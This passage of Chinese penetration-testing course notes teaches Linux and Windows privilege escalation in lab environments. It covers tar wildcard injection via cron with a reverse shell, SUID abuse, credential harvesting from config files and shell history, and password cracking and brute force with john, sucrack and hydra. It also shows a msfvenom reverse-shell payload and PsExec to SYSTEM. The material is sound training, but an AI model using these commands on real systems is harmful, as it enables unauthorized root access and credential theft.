当定时任务中的如下命令被执行时:

tar -zcf /var/backups/html.tgz /var/www/html/*

实际上等同于执行:

tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

参数解释:

  • —-checkpoint—-chekpoint-action参数通常一起使用,前者为设置检查点,后者为到达检查点时要执行的操作。

  • --checkpoint-action=exec=sh shell.sh 则表示达到检查点时执行 shell.sh 脚本文件。

也就是说,每当定时任务被执行时,tar 都会调用 shell.sh 脚本并执行,而 shell.sh 脚本会将 /bin/bash 反弹到 127.0.0.1 的 4444 端口。

我们在当前 shell 中使用 nc 监听本地 4444 端口,命令如下:

nc -lnvp 4444

图片描述

稍微等待一会,当定时任务被执行时,我们就可以接收到被反弹回来的 shell,并且是 root 权限:

图片描述

至此,我们成功提权到 root 用户。

不过关于 tar + crontab 提权存在两个限制条件,这里也给各位同学详细说明:

  • 限制一:打包目录 html 需要「其他用户」拥有写(w)权限

因为必须要有写入权限,我们才能在该目录创建 shell.sh 和其他两个文件:

图片描述

  • 限制二:crontab 中的 tar 命令必须不包含绝对路径,例如下面这种命令,通配符注入就会失败:

* *     * * *   root    tar -zcf /var/backups/html.tgz **/var/www/html/***

原因是当包含绝对路径时,通配符注入实际上执行的命令变成了:

tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

这种情况下/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.sh就不会被 shell 解释为 tar 命令参数,所以无法注入成功。

实验总结:

在本节实验中,我们学习了什么是通配符注入,并介绍 Linux 系统上最常见的 tar 通配符注入的原理,最后通过实验在实战中通过 crontab 配合 tar 命令将 Linux shell 成功提权到 root 权限。

跳板用户提权

知识点

  • 什么是跳板用户?

  • 什么情况下需要使用跳板用户?

  • 如何通过跳板用户提权?

实验开始

前面几章为大家介绍了几种直接提权到 root 权限的方法,但有时候会遇到尝试了所有的方法,也无法直接提权到 root 权限,此时可以考虑先提权到其他用户,再通过其他用户的权限提权到 root 权限,而这个中间用户就被我称为——跳板用户。

在本章实验中,我们会先从 www-data 提权到跳板用户 alice ,再从 alice 提权到 root 权限。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh > ~/init_100_switchuser.sh;chmod +x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh

图片描述

如上图所示,实验环境初始化完成,此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。

我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:

find / -user root -perm -4000 -print 2>/dev/null

搜索结果如下图所示:

图片描述

经过分析发现没有可用于 SUID 提权的可执行文件。

查看一下 home 目录下有哪些文件夹:

ls -alh /home

图片描述

发现 /home 目录下有一个 alice 目录,推测有一个 alice 用户,并且是可以登录系统的,可以通过查看/etc/passwd文件验证。

但是 www-data 没有权限访问alice目录,所以我们需要先试试能够提权到 alice 用户。

图片描述

经过一番尝试,我们发现/etc/passwd文件中有 alice 用户的密码 hash:

cat /etc/passwd

图片描述

根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:

john /etc/passwd

图片描述

破解得到密码为 beautiful,使用 su 命令登录 alice 用户:

图片描述

现在我们成功从 www-data 用户提权到了 alice 用户,再尝试一次 SUID 提权:

find / -user root -perm -4000 -print 2>/dev/null

图片描述

找到了/var/bin/php可执行文件,该文件是可以用来 SUID 提权的,方法如下:

/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

图片描述

如上图所示,我们成功提权到 root 权限。

  • 关于哪些可执行文件可以用来 SUID 提权,可以通过以下链接进行查询:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

大家思考一下:为什么 alice 用户能够查找到具有 s 权限的 php 可执行文件,而 www-data 用户找不到呢?

其实答案就是目录权限的区别,让我们查看一下 /var/bin 目录权限:

ls -lh /var

图片描述

可以看到,/var/bin目录的所有者和所有组均为 alice,其他用户并没有读/写/执行权限。

所以当我们提权到其他用户时,有时就能解锁一些之前无法访问的文件或目录,而这恰好就可能被利用来进行提权。

实验总结

在本节实验中,我们学习了当不能直接提权至 root 权限时,如何通过先提权到其他普通用户,再通过该用户提权到 root 用户的方法。

本章实验中我们只是选了一个简单例子作为抛砖引玉,实战中的情况可能会更复杂,不过请记住:核心永远是围绕在不同用户的权限差异上。

查找敏感文件提权

知识点

  • 重点关注的 Web 配置文件

  • 通过 Web 配置文件提权方法

  • 重点关注的用户相关的配置文件

  • 通过用户相关配置文件提权方法

实验开始

假设我们已经通过 Web 漏洞反弹回一个 shell,是 www-data 用户的权限。

通过尝试之前几个实验中的方法都未成功,那么我们可以尝试在 Linux 上是否能寻找到一些认证信息,并利用该认证信息进行提权。

在本章中,我们会通过两个实验,分别从 Web 服务配置文件用户配置文件入手,收集信息并完成提权。

Web 服务配置文件

有时候通过查找服务器上的 Web 配置文件,可以发现数据库的连接账户和密码。登录数据库后,通过收集数据库中存储的用户密码,并且管理员如果存在密码复用的情况,即可完成提权,下面我们通过一个具体的实验来理解一下。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_web.sh > ~/init_90_web.sh;chmod +x ~/init_90_web.sh;sudo ./init_90_web.sh

图片描述

如上图所示,实验环境初始化完成,此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。

通常情况下,Linux Web 服务存放的路劲为 /var/www 目录,在该路径下我们重点关注以下文件:

  • database.php

  • user.php

  • *.config

  • config.php

我们可以通过以下命令来搜索:

find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null

当然不仅限于以上文件,并且如果目标主机采用了 CMS,我们可以通过谷歌查询该 CMS 的默认数据库连接文件的存放位置

在实验主机上,查看 /var/www 目录的文件:

 ls -lh /var/www

图片描述

我们发现主机使用了 WordPress 内容管理系统,通过谷歌查询得知,WordPress 的数据库配置信息存放在$root/wp-config.php,查看一下:

more /var/www/wordpress/wp-config.php

图片描述

如上图所示,成功找到了 MySQL 的 root 账户和密码:

root:cD8M2M8fMiDHu4m1

考虑到管理员可能存在密码复用的情况,尝试使用密码 cD8M2M8fMiDHu4m1 登录系统 root 账户:

图片描述

但是很可惜,并没有登录成功。

接下来我们登录 mysql 数据库,看看能否在数据库中发现一些信息:

mysql -u root -p -h 127.0.0.1

图片描述

然后允许一下命令,在 MySQL 数据库中收集信息:

show databases;
use ROB
show tables;
select * from rob_user;

图片描述

如上图所示,收集到两个用户、密码信息:

root:CMPc5MoAGf
alice:psoj9apv4u

我们再尝试一下,新打开一个终端,使用CMPc5MoAGf 登录 root 用户:

图片描述

成功登录 root 用户。

至此,我们学习了通过寻找 Web 服务的配置文件来提权的一种方法,实际上并不一定是找 Web 服务的配置文件,其核心是通过寻找服务器上的敏感认证信息并结合密码复用进行提权的一种思想。

还有一种关于 mysql 的提权方法——MySQL UDF 提权,该方法在 Windows 和 Linux 上都可用。

UDF 是 MySQL 的一个共享库,通过 UDF 创建能够执行系统命令的函数 sys_exec、sys_eval ,可以 UDF 执行系统命令来提权,但要利用 MySQL UDF 有两个条件:

  1. 获取到 mysql root 账户密码

  2. MySQL 在系统上以 root 权限运行,没有被降权(实际上这种情况比较少)

由于蓝桥实验环境的限制,无法设计相关实验,有兴趣的同学可以百度、谷歌研究一下。

用户相关配置文件

我们主要关注下面两个用户相关的配置文件;

  • ~/.bash_profile

用于配置环境变量和启动程序,当用户登录(login)时,该文件会被执行,在某些 Linux 发行版本中,该文件是默认不创建的。

  • ~/.bash_history

每个用户的主目录下都定义了一个.bash_history文件,用于记录用户 shell 历史命令,默认记录最近输入的 1000 条命令,我们也许可以从中收集到一些敏感信息(部分 Linux 发行版本默认关闭了该共功能),在某些 Linux 发行版本中,默认关闭了该功能,可以尝试用 history命令查看。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh

图片描述

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户。

首先查看 ~/.bash_profile 文件,看是否能收集到一下敏感信息:

cat ~/.bash_profile

图片描述

但是很可惜,看来用户 tomcat-syl 并没有使用~/.bash_profile文件。

再查看一下 ~/.bash_history文件:

cat ~/.bash_history

图片描述

发现这一行历史命令记录:

echo tomcat-syl:09FMWNFS7n|chpasswd

这条命令的含义是:修改 tomcat-syl 用户的密码为 09FMWNFS7n,我们尝试一下能否用该密码执行 sudo :

sudo whoami

图片描述

如上图所示,密码正确,并且能够执行 sudo 权限。接下来使用之前学过的知识获取一个 root 权限的 shell:

sudo /bin/bash -p

图片描述

实验总结

在本节实验中,我们学习了重点查找服务器上哪些 Web 相关的配置文件和用户相关的配置文件,随后在实验中学习了通过以上两者进行提权的方法。

本章的核心挂念是,在 Linux 主机上查找一些可能存放了敏感信息的文件,并不仅限于 Web 配置文件和用户配置文件, 还有一些重要文件也需要我们关注,例如:

  • 备份文件,例如 SSH 秘钥、登录凭证等,可通过如下命令查找:

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
  • Sqlite DB 文件

本章节篇幅有限,不可能列举所有的敏感文件,但只要我们掌握通过敏感文件收集信息的核心思想,便能一法通时万法通了。

暴力破解提权

知识点

  • sucrack 工具的安装和使用

  • 通过 hydra 工具爆破 SSH 协议

实验开始

在前面的实验中,我们已经为大家介绍了多种 Linux 提权方法,这些方法已经覆盖到了实战中的绝大部分场景,但如果你遇到前面所有的方法都无法成功提权时,别忘了还有一种最原始但有用的方法可以尝试——暴力破解

通常来说,可以通过两种途径暴力破解 root 用户的密码:

  1. 通过 su 命令爆破 root 密码

  2. 通过 SSH 协议爆破 root 密码

下面我依次为大家介绍这两种方法。

通过 su 命令暴破 root 密码

Linux su 命令用于切换为其他使用者身份,除 root 外,其他用户使用时需要输入将要切换的「目标用户」的密码。

su 命令暴力破解使用的工具是 sucrack

sucrack 介绍和安装

sucrack 是一个多线程的Linux工具,用于通过 su 爆破本地用户密码。

因为 su 命令需要从 TTY shell 获取用户输入,因此不能只用一个简单的 shell 脚本来完成爆破,sucrack 是采用 c 语言编写的工具,并且支持多线程,爆破效率非常高。

sucrakck 官方地址如下:

https://leidecker.info/projects/sucrack.shtml

图片描述

在实战环境中,靶机可能是无法连接外网的,因此我们可以使用如下两种方法安装 sucrack:

  1. 下载sucrack源码并上传到靶机上,再编译运行。

  2. 下载sucrack源码,在本地编译好之后再上传到靶机运行。

本课程旨在为大家演示 sucrack 的用法,因此为了方便我们直接使用 apt 安装 sucrack :

 sudo apt install sucrack

图片描述

如上图所示,安装成功。

sucrack 使用方法

sucrack 的用法非常简单,最基础的命令如下:

sucrack -w 20 wordlists.txt

参数解释:

  • -w 指定线程数

  • wordlists.txt 爆破使用的字典

sucrack 默认爆破 root 用户,你也可以使用 -u 指定要爆破的用户:

sucrack -u myuser -w 20 wordlists.txt

在尝试爆破之前,我们先执行如下命令来部署实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_forcebrute.sh > ~/init_forcebrute.sh;chmod +x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh

图片描述

如上图所示,此时我们已经切换为了普通用户 www-data ,接下来我们将在实验中,通过暴力破解的方法获取 root 用户的密码。

我预先准备了一份密码字典用于演示,存放在 /tmp/common-wordlists.txt,同学们也可以使用自己的字典。

图片描述

使用如下命令尝试爆破 root 密码,线程数保守一点设定为 20:

sucrack -w 20 /tmp/common-wordlists.txt

开始爆破之后,按键盘任意键刷新显示进度:

图片描述

等待一会,成功破解出 root 用户的密码为 ly:

图片描述

然后使用 su root 切换为 root 用户:

图片描述

sucrack 功能是非常简单强大的,你学会了吗?

通过 SSH 爆破 root 密码

SSH 服务介绍

SSH 服务的配置文件有为两个,分别是:

  • /etc/ssh/ssh_config : 客户端的配置文件

  • /etc/ssh/sshd_config : 服务端的配置文件

仅当 /etc/ssh/sshd_configPermitRootLogin 设置为 yes,root 用户才能登录 ssh:

图片描述

因此,在通过 ssh 爆破 root 用户密码之前,我们需要先使用如下命令来查询靶机是否允许 root 用户通过 ssh 登录:

cat /etc/ssh/sshd_config |grep -i permitrootlogin

图片描述

当 PermitRootLogin 被设置为 yes 时,才用尝试 SSH 暴力破解,否则就没必要在尝试了。

hydra 介绍和使用方法

SSH 协议爆破使用到的工具是 hydra,hydra 是一款非常著名的爆破工具,除了 SSH 协议以外,hydra 还支持众多其他协议例如 RDP、SMB、HTTP、MySQL 等,由于篇幅有限,具体可以参考下面这篇文章:

https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.md

hydra 在 Kali Linux 上默认安装,实验主机的 ubuntu 环境也已经提前安装好,爆破 SSH 协议的语法如下:

hydra -l root -P passwords.txt -t 4 -V <IP> ssh

参数解释:

  • -l : 指定用户名

  • -P : 指定爆破字典

  • -t : 指定爆破线程

  • -V : 查看破解详情、进度

下面我们尝试爆破 root 用户的密码,字典仍然使用 /tmp/common-wordlists.txt

hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh

图片描述

如上图所示,成功爆破出 root 用户的密码。

注意:如果你使用的 hydra 是 v9.0 之前的版本,在爆破 ssh 协议时很可能会出现误报,请先升级后再使用(实验环境是 v9.2)。

实验总结

在本节实验中,我们学习了通过两种途径爆破 SSH 服务的方法—— suSSH,并且分别介绍了对应的两种破解工具的使用。

自动化辅助工具提权

知识点

  • LinEnum 辅助工具的使用

  • linux-exploit-suggester 辅助工具的使用

实验开始

在前面章节中,我们已经学习了多种 Linux 提权的方法,这些提权方法已经覆盖了实战中的绝大部分场景。

如果你正在为了备考 OSCP 认证而努力,那么恭喜你,只要你把前面几种方法都理解并掌握,考试中关于 Linux 提权这部分是绝对可以得心应手的。

除此之外,还有一些 Linux 辅助工具可供使用,这些辅助工具通常是 shell 脚本。需要明确的是,这些辅助工具不会尝试漏洞利用,仅仅只是帮助我们快速枚举系统信息,使用它们的目的是节省时间,所以你必须先理解提权的方法和原理。

Github 上有很多相关的开源项目,在本章节实验中我会推荐两个比较有代表性的:

  • LinEnum

  • linux-exploit-suggester

和内核漏洞提权那章相同,本章实验我们也需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

图片描述

Metasploitable2 靶机的信息如下:

  • IP:192.168.122.102

  • 用户名: msfadmin

  • 密码:msfadmin

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

图片描述

使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

图片描述

如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

LinEnum 工具


LinEnum 介绍

LinEnum 是一个 Linux 主机本地信息枚举的 shell 脚本,它有超过 65 项安全检查功能,比如查询版本信息、内核信息、SUID/GUID 文件、文件权限、sudo 权限等,其执行的检查项摘要如下:

  • 内核和发行版本的详细信息

  • 系统信息、主机名、网络信息

  • 用户信息、用户列表、用户组

  • 敏感目录、文件的访问权限

  • 环境变量配置详情

  • CronJobs 配置详情

  • 运行服务、服务权限

  • 部分应用的版本信息

更为详细的检查项说明,可以查阅项目的[README.md](https://github.com/rebootuser/LinEnum)文档。

项目地址

https://github.com/rebootuser/LinEnum

使用方法

因为大多数情况下靶机是没有连接外网的权限的,所以都是先下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

在云主机上使用 wget 工具下载并存储到 /tmp/exploit.c,命令如下(不要在 Metasploitable2 的 ssh 终端中下载,会报 SSL 错误):

# 如果遇到拒绝连接错误,多尝试几次即可
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

图片描述

接下来进入/tmp目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp
python3 -m http.server 8000

图片描述

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1

图片描述

在 Metasploitable2 终端中使用 wget 工具下载 LinEnum.sh并保存到/tmp:

wget 192.168.122.1:8000/LinEnum.sh -P /tmp

图片描述

赋予LinEnum.sh执行权限:

chmod +x LinEnum.sh

接下来就可以执行LinEnum.sh进行检查,由于LinEnum.sh执行速度非常快,所以可以搭配 more 命令便于阅读,使用空格进行翻页:

./LinEnum.sh |more

图片描述

图片描述

自动快速收集系统信息,便于我们阅读分析,重点关注黄色字体的信息。

  • 发现具有/root目录的访问权限:

图片描述

  • 发现软件版本及弱口令:

图片描述

如上图所示,发现 MySQL 的 root 用户无需密码即可登录,测试一下发现登陆成功:

图片描述

  • 发现 htpasswd文件:

图片描述

  • 发现可利用的 SUID 文件nmap

图片描述

尝试利用 nmap 提权,并且提权成功:

图片描述

  • 发现可查看 root 用户的 .bash_history文件:

图片描述

有没有觉得很方便?合理的利用 LinEnum.sh脚本,可以为我们节约大量的时间。

linux-exploit-suggester 工具


linux-exploit-suggester 介绍

linux-exploit-suggester 是一款根据系统发行版本号和内核版本号自动查找相应内核提权漏洞的工具。

LinEnum 功能已经非常强大,但它缺少对内核漏洞的检查,而linux-exploit-suggester刚好能弥补这一点。

项目地址

https://github.com/mzet-/linux-exploit-suggester

使用方法

和之前一样,下载linux-exploit-suggester.sh 到云主机:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh

并上传到靶机Metasploitable2:

wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp

图片描述

添加执行权限并执行脚本:

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

不幸的是,提示 bash 版本过低不支持运行该脚本:

图片描述

大多数时候是可以直接运行的,但是如果偶尔遇到这种情况,可以采用手动录入内核信息的方式。

在 Metasploitable2 上运行uname -a查询主机信息,并将输出结果复制下来:

图片描述

然后回到云主机上运行./linux-exploit-suggester.sh脚本:

  • -u : 指定uname -a 获取的信息

  • --kernelspace-only : 仅显示内核漏洞

./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"

图片描述

下图是我们得到的分析结果:

图片描述

每一条漏洞都包含 Exposure (影响概率)和 Download URL( EXP 下载链接),其中 Exposure 分级如下:

  • Highly probable - 被评估的内核很有可能受到影响,而且很有可能 PoC 漏洞不需要任何重大修改就能正常运行。

  • Probable - 有可能会成功,但很有可能需要定制 EXP 漏洞来适应你的目标。

  • Less probable - 需要额外的手动分析来验证内核是否受到影响。

  • Unprobable - 内核受影响的可能性极低。

一般只用尝试Highly probablerobable定级的EXP即可。

但需要注意的是,linux-exploit-suggester 的结果并不一定非常准确,如果结果中的 CVE 均无法利用,你仍然需要手动去 [Exploit-db.com](http://exploit-db.com) 搜索内核漏洞再来尝试。

实验总结

在本节实验中,我们学习了 LinEnum 和 linux-exploit-suggester 提权辅助脚本工具的使用方法,其实辅助工具还有很多,例如以下两个:

  • linPEAS

  • BeRoot

如果你有兴趣,可以下载尝试一下,不过工具永远只能起到辅助作用,最重要的还是理解提权的方法和思想。

Windows提权

概述

本文章将聚焦 Windows 系统中的 Privilege Escalation(权限提升)技术。你将学习到:

  • Windows 中基础用户权限(user privileges)的工作原理

  • 多种提升用户权限的方法

  • 这些方法的作用原因与实现方式

  • 可用于识别潜在权限提升路径(escalation paths)的工具

    本课程致力于讲解实际场景中常见的权限提升方法,因此不包含冷门方法(obscure methods)。 同时,课程仅针对本地权限提升(local privilege escalation),不涉及通过 Active Directory 实现的权限提升。

前置要求

  • 建议具备 Windows 系统的基础认知,不过课程也会涵盖部分基础内容

  • 课程默认你已在 Windows 系统上获得一个可正常使用的低权限 shell(lowprivileged shell),不涉及如何获取该 shell(本课程属于后渗透测试(post-exploitation)课程)

示例命令格式

  • Linux(Kali)命令:# 命令内容

  • Windows 命令提示符(command prompt)命令:> 命令内容

  • Windows PowerShell 命令:PS> 命令内容

免责声明

本课程的设计参考了 OSCP 实验环境(OSCP labs)和考试场景,但涵盖的权限提升技术范围远超 OSCP 学员所需掌握的内容。 需注意,权限提升通常极为复杂,且新的技术会不断涌现,因此本课程并非 “完整” 的权限提升技术指南,无法涵盖所有方法。 在合适的情况下,作者会更新课程材料,加入被认为有价值的新技术。

致谢

  • Sagi Shahar:创建了最初的 Windows 配置脚本(Windows setup script)和权限提升工作坊(privilege escalation workshop),并授权本课程使用相关内容

  • Showeet.com:授权本课程使用其演示模板(presentation template)

  • Microsoft:提供免费的 Windows 10 虚拟机(VM)

实验环境搭建

Windows 10

本课程基于 Windows 10 设计:

  • 若你已有 Windows 10 副本,可直接使用

  • 若没有,可从 Microsoft 官网下载免费(有限制)的 Windows 10 虚拟机(VM):https://developer.microsoft.com/en-us/microsoftedge/tools/vms/

环境配置

tools.zip压缩包中包含一个配置脚本(setup script),该脚本专为 Windows 10 编写,未在其他 Windows 版本上测试。 若你希望亲自实践课程中的权限提升操作,建议安装 Windows 10 并运行此配置脚本。 该脚本也可从以下链接获取:https://github.com/Tib3rius/WindowsPrivEsc-Setup

初始配置

安装完成后,使用本地管理员账户(local administrator account)登录,用户名 “IEUser”,密码 “Passw0rd!”。 以管理员身份打开 PowerShell,运行以下命令启用 SMBv1:

powershell

PS> Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All

运行后需重启虚拟机(VM)。

SMB 服务器配置

在 Kali 中,将tools.zip压缩包解压到某个目录,进入该目录,运行以下任一命令搭建 SMB 服务器:

bash

# 方法1
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
# 方法2
python /usr/share/doc/python-impacket/examples/smbserver.py tools .

  • 从 Kali 向 Windows 复制文件:

    cmd

    > copy \\192.168.1.11\tools\file.ext file.ext
  • 从 Windows 向 Kali 复制文件:

    cmd

    > copy file.ext \\192.168.1.11\tools\file.ext

运行配置脚本

setup.bat脚本复制到 Windows 虚拟机:

cmd

> copy \\192.168.1.11\tools\setup.bat setup.bat

以管理员身份打开命令提示符(command prompt),运行setup.bat脚本:

cmd

> .\setup.bat

配置脚本后续操作

setup.bat脚本运行完成后,重启虚拟机。 新创建的 “admin” 账户会自动登录。你也可以注销当前账户,使用 “user” 账户登录,密码为 “password321”。 系统中会创建可写目录C:\PrivEsc,用于复制工具或可执行文件(executables),课程演示也会使用该目录。

Windows 中的 Privilege Escalation(权限提升)

基本概念

在 Windows 中进行权限提升的最终目标,是获取以 Administrator 或 SYSTEM user 身份运行的 shell。 权限提升可能很简单(例如利用 kernel exploit),也可能需要对已入侵系统进行大量侦察(reconnaissance)。 在很多情况下,权限提升并非依赖单一配置错误(misconfiguration),而是需要结合多个配置错误来实现。

所有权限提升本质上都是访问控制违规(access control violations)的案例。 访问控制(access control)与用户权限(user permissions)紧密相关。 在研究 Windows 权限提升时,理解 Windows 如何处理权限(permissions)至关重要。

理解 Windows 中的权限(Permissions)

用户账户(User Accounts)

用户账户用于登录 Windows 系统,可将其视为与唯一身份绑定的一组设置 / 偏好(settings /preferences)。 系统安装时会默认创建本地 “Administrator” 账户。 根据 Windows 版本不同,可能还会存在其他默认用户账户(如 Guest)。

服务账户(Service Accounts)

服务账户(顾名思义)用于在 Windows 中运行服务(services)。 服务账户无法用于登录 Windows 系统。 SYSTEM 账户是默认服务账户之一,拥有 Windows 本地账户中最高的权限。 其他默认服务账户包括 NETWORK SERVICE 和 LOCAL SERVICE。

组(Groups)

  • 用户账户可属于多个组,一个组也可包含多个用户

  • 组便于对资源进行访问控制(access control)

  • 常规组(如 Administrators、Users)的成员列表是固定的

  • 伪组(如 “Authenticated Users”)的成员列表是动态的,会根据特定交互变化

资源(Resources)

在 Windows 中,资源(也称为对象(objects))包含多种类型:

  • 文件 / 目录(Files / Directories)

  • 注册表项(Registry Entries)

  • 服务(Services)

用户和 / 或组能否对某资源执行特定操作,取决于该资源的访问控制列表(ACL)。

ACL 与 ACE

Windows 中,资源的访问权限由该资源的访问控制列表(ACL,Access Control List)控制。 每个 ACL 由 0 个或多个访问控制项(ACE,Access Control Entry)组成。 每个 ACE 定义了主体(principal,如用户、组)与特定访问权限(access right)之间的关系。

示例:文件 ACL/ACE

  • 名称(Name):CATemp\ACL Test.txt

  • 所有者(Owner):admin (MSEDGEWIN10\admin)

  • 可操作选项:Change(修改)、Permissions(权限)、Auditing(审计)、Effective Access(有效访问)

备注:如需更多信息,双击某个权限项(permission entry);如需修改权限项,选中该条目并点击 “Edit”(若可用)。

权限项(Permission entries):

  • 类型(Type):Deny,主体(Principal):user (MSEDGEWIN10\user),访问权限(Access):无(None)

  • 类型(Type):Allow,主体(Principal):Administrators (MSEDGEWIN10\Administrators),访问权限(Access):Full control(完全控制)

  • 类型(Type):Allow,主体(Principal):SYSTEM,访问权限(Access):Full control(完全控制)

  • 类型(Type):Allow,主体(Principal):Users (MSEDGEWIN10\Users),访问权限(Access):Read & execute(读取和执行)

  • 类型(Type):Allow,主体(Principal):Authenticated Users,访问权限(Access):Modify(修改)

其他选项:Add(添加)、Remove(删除)、View(查看)、Disable inheritance(禁用继承)

生成 Administrator Shell

使用 msfvenom

若你能以管理员权限执行命令,可使用 msfvenom 生成反向 shell(reverse shell):

bash

# 生成64位Windows反向shell可执行文件,LHOST为KaliIP,LPORT为监听端口
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe

可使用 netcat 或 Metasploit 的multi/handler模块捕获该反向 shell。

使用 RDP

若 RDP 可用(或可启用 RDP),可将低权限用户添加到管理员组(administrators group),然后通过图形界面(GUI)打开管理员命令提示符:

cmd

> net localgroup administrators <用户名> /add

从 Admin 提升到 SYSTEM

要从 Admin 用户提升到完整的 SYSTEM 权限,可使用 Windows Sysinternals 的 PsExec 工具(下载链接:PsExec - Sysinternals | Microsoft Learn)。 课程工具压缩包(tools ZIP archive)中已包含该工具,运行以下命令:

cmd

> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

权限提升工具(Privilege Escalation Tools)

为何使用工具?

工具可自动化侦察(reconnaissance)过程,帮助识别潜在的权限提升路径。 虽然理解工具的工作原理至关重要,但在考试等时间有限的场景中,工具的作用不可替代。 本课程主要使用 winPEAS 和 Seatbelt,你也可以尝试其他工具,选择最适合自己的工具。

PowerUp 与 SharpUp

PowerUp 和 SharpUp 是两款功能相似的工具,用于检测特定的权限提升配置错误(privilege escalation misconfigurations)。

  • PowerUp: 下载链接:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

  • SharpUp: 源码链接:GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality. 预编译版本(Pre-Compiled):Ghostpack-CompiledBinaries/SharpUp.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub

运行 PowerUp

启动 PowerShell 会话,使用点源(dot sourcing)方式加载脚本:

powershell

PS> . .\PowerUp.ps1

运行Invoke-AllChecks函数,开始检测常见的权限提升配置错误:

powershell

PS> Invoke-AllChecks

运行 SharpUp

打开命令提示符(command prompt),直接运行可执行文件:

cmd

> .\SharpUp.exe

SharpUp 会立即开始检测与 PowerUp 相同的配置错误。

Seatbelt

Seatbelt 是一款枚举工具(enumeration tool),包含多个枚举检查项(enumeration checks)。 它不主动检测权限提升配置错误,而是提供相关信息供进一步分析。

  • 源码(Code):GitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

  • 预编译版本(Pre-Compiled):Ghostpack-CompiledBinaries/Seatbelt.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub

运行 Seatbelt

  • 运行所有检查并过滤不重要的结果:

    cmd

    > .\Seatbelt.exe all
  • 运行特定检查项:

    cmd

    > .\Seatbelt.exe <检查项1> <检查项2> …

winPEAS

winPEAS 是一款功能强大的工具,不仅能主动检测权限提升配置错误,还会在结果中高亮显示关键信息。 下载链接:PEASS-ng/winPEAS at master · peass-ng/PEASS-ng · GitHub

运行 winPEAS

运行前需添加注册表项(registry key),然后重新打开命令提示符:

cmd

> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

  • 运行所有检查,跳过耗时搜索:

    cmd

    > .\winPEASany.exe quiet cmd fast
  • 运行特定类别检查:

    cmd

    > .\winPEASany.exe quiet cmd systeminfo

accesschk.exe

accesschk.exe 是一款老旧但可靠的工具,用于检查用户的访问控制权限(access control rights)。 可使用它检查用户或组对文件、目录、服务和注册表项的访问权限。 缺点:该工具的较新版本会弹出图形界面(GUI)的 “接受 EULA” 弹窗;在命令行中使用时,需选择仍支持/accepteula命令行选项的旧版本。

Kernel Exploits(内核漏洞利用)

什么是 Kernel(内核)?

Kernel 是任何操作系统的核心,可视为应用程序(application software)与计算机硬件(computer hardware)之间的中间层。 Kernel 完全控制操作系统,利用 Kernel 漏洞可获取 SYSTEM user 权限。

查找 Kernel Exploits

查找和使用 Kernel 漏洞利用通常步骤简单:

  1. 枚举 Windows 版本 / 补丁级别(使用systeminfo命令)

  2. 查找匹配的漏洞利用(通过 Google、ExploitDB、GitHub)

  3. 编译并运行漏洞利用程序

